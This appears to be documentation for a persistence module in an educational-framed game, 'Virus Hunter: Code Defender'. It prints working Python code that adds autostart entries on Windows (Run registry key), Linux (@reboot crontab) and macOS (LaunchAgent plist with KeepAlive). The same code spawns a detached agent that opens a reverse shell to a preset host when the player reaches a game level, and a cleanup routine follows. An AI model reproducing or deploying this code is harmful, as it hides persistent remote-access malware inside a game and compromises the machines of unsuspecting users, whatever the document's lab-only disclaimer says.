Persistence Module

cyber_modules/persistence.py demonstrates how malware establishes and removes startup persistence on Windows, Linux, and macOS. In Virus Hunter: Code Defender this is triggered at Level 3 when the player interacts with the quarantine terminal.

This module is provided for cybersecurity education only. The persistence mechanisms it implements are real OS-level techniques. Run it exclusively in isolated lab environments (virtual machines) where you have explicit authorisation.

Constants

SIMULATED_STARTUP_DIR = Path(__file__).resolve().parent / "simulated_startup"
PERSISTENCE_MARKER    = SIMULATED_STARTUP_DIR / "system_defender_autorun.txt"

Constant	Value	Description
`SIMULATED_STARTUP_DIR`	`cyber_modules/simulated_startup/`	Directory created to hold the marker file. Created with `mkdir(parents=True, exist_ok=True)` on first use.
`PERSISTENCE_MARKER`	`cyber_modules/simulated_startup/system_defender_autorun.txt`	Text file written to confirm persistence is active. Contains the target platform and agent command.

`create_persistence(host)`

Establishes startup persistence using the OS-appropriate mechanism, writes a marker file, and immediately spawns a detached background agent process.

def create_persistence(host: str = "10.12.73.251") -> Tuple[bool, Path]

host

str

default:"10.12.73.251"

IP address passed to the spawned agent via --host. The agent uses this to connect the reverse shell.

return

Tuple[bool, Path]

A 2-tuple of (success, PERSISTENCE_MARKER). success is True if the detached agent process was launched successfully, False if the launch raised an exception. The marker path is always returned regardless of outcome.

Agent command construction

The function first detects whether it is running as a frozen PyInstaller executable or as a plain Python script:

is_frozen = getattr(sys, 'frozen', False)
if is_frozen:
    exe_path = os.path.abspath(sys.executable)          # path to the .exe
else:
    exe_path = f'"{sys.executable}" "{...main_game.py}"'  # python + script

agent_cmd = f'{exe_path} --bg --host {host}'

The --bg flag causes main() to skip Pygame and run only the reverse shell.

Platform-specific startup registration

Windows
Linux
macOS

Adds a REG_SZ value named "VirusHunterAgent" to the current user’s Run key:

import winreg
key = winreg.OpenKey(
    winreg.HKEY_CURRENT_USER,
    r"Software\Microsoft\Windows\CurrentVersion\Run",
    0, winreg.KEY_SET_VALUE
)
winreg.SetValueEx(key, "VirusHunterAgent", 0, winreg.REG_SZ, agent_cmd)
winreg.CloseKey(key)

The agent command runs each time the current user logs in.

Appends a @reboot crontab entry via shell pipeline:

cron_cmd = f'(crontab -l 2>/dev/null; echo "@reboot {agent_cmd}") | crontab -'
subprocess.run(cron_cmd, shell=True)

crontab -l 2>/dev/null reads existing entries silently (suppresses “no crontab” errors), then the new entry is appended before piping back into crontab -.

Creates a LaunchAgent plist at ~/Library/LaunchAgents/com.v-hunter.agent.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.v-hunter.agent</string>
    <key>ProgramArguments</key>
    <array>
        <string>{sys.executable}</string>
        <string>{path/to/main_game.py}</string>  <!-- omitted if frozen -->
        <string>--bg</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>

RunAtLoad causes the agent to start immediately when the plist is loaded. KeepAlive instructs launchd to restart it if it exits. The plist is loaded immediately after writing:

subprocess.run(["launchctl", "load", str(plist_path)], capture_output=True)

Marker file

After the platform step, a text file is written regardless of whether the registry/crontab/plist step succeeded:

PERSISTENCE_MARKER.write_text(
    f"Persistence active on {sys.platform}\nTarget: {agent_cmd}\n"
)

Immediate detached launch

A background process is spawned right away so the shell connects without waiting for a reboot:

if sys.platform == "win32":
    subprocess.Popen(
        cmd_args,
        creationflags=0x00000008 | 0x00000200,  # DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP
        close_fds=True
    )
else:
    subprocess.Popen(cmd_args, start_new_session=True)

Flag	Value	Meaning
`DETACHED_PROCESS`	`0x00000008`	Detaches from the parent console.
`CREATE_NEW_PROCESS_GROUP`	`0x00000200`	Creates an independent process group.
`start_new_session`	`True` (POSIX)	Calls `setsid()`, fully detaching from the parent session.

`remove_persistence()`

Reverses all persistence mechanisms set by create_persistence() and terminates any running agent processes.

def remove_persistence() -> Tuple[bool, Path]

return

Tuple[bool, Path]

Always returns (True, PERSISTENCE_MARKER). The marker is deleted if it exists.

Windows
Linux
macOS

Deletes the "VirusHunterAgent" registry value:

winreg.DeleteValue(key, "VirusHunterAgent")

Force-terminates any running instances:

subprocess.run(["taskkill", "/F", "/IM", "VirusHunter.exe"],
               stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run(["taskkill", "/F", "/IM", "pythonw.exe"],
               stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

Filters the crontab to remove any line referencing main_game.py:
```
crontab -l | grep -v 'game/main_game.py' | crontab -
```

Kills running processes:

subprocess.run(["pkill", "-f", "main_game.py"],
               stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

Unloads the LaunchAgent:

subprocess.run(["launchctl", "unload", str(plist_path)], capture_output=True)

Deletes the plist file if it exists.

Kills running processes:

subprocess.run(["pkill", "-f", "main_game.py"],
               stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

Finally, the marker file is deleted on all platforms:

if PERSISTENCE_MARKER.exists():
    PERSISTENCE_MARKER.unlink()

Game Modules

Cyber Modules

Persistence Module

Persistence Module

Constants

`create_persistence(host)`

Agent command construction

Platform-specific startup registration

Marker file

Immediate detached launch

`remove_persistence()`

Build docs developers (and LLMs) love

Game Modules

Cyber Modules

​Persistence Module

​Constants

​create_persistence(host)

​Agent command construction

​Platform-specific startup registration

​Marker file

​Immediate detached launch

​remove_persistence()

Build docs developers (and LLMs) love

Persistence Module

Constants

`create_persistence(host)`

Agent command construction

Platform-specific startup registration

Marker file

Immediate detached launch

`remove_persistence()`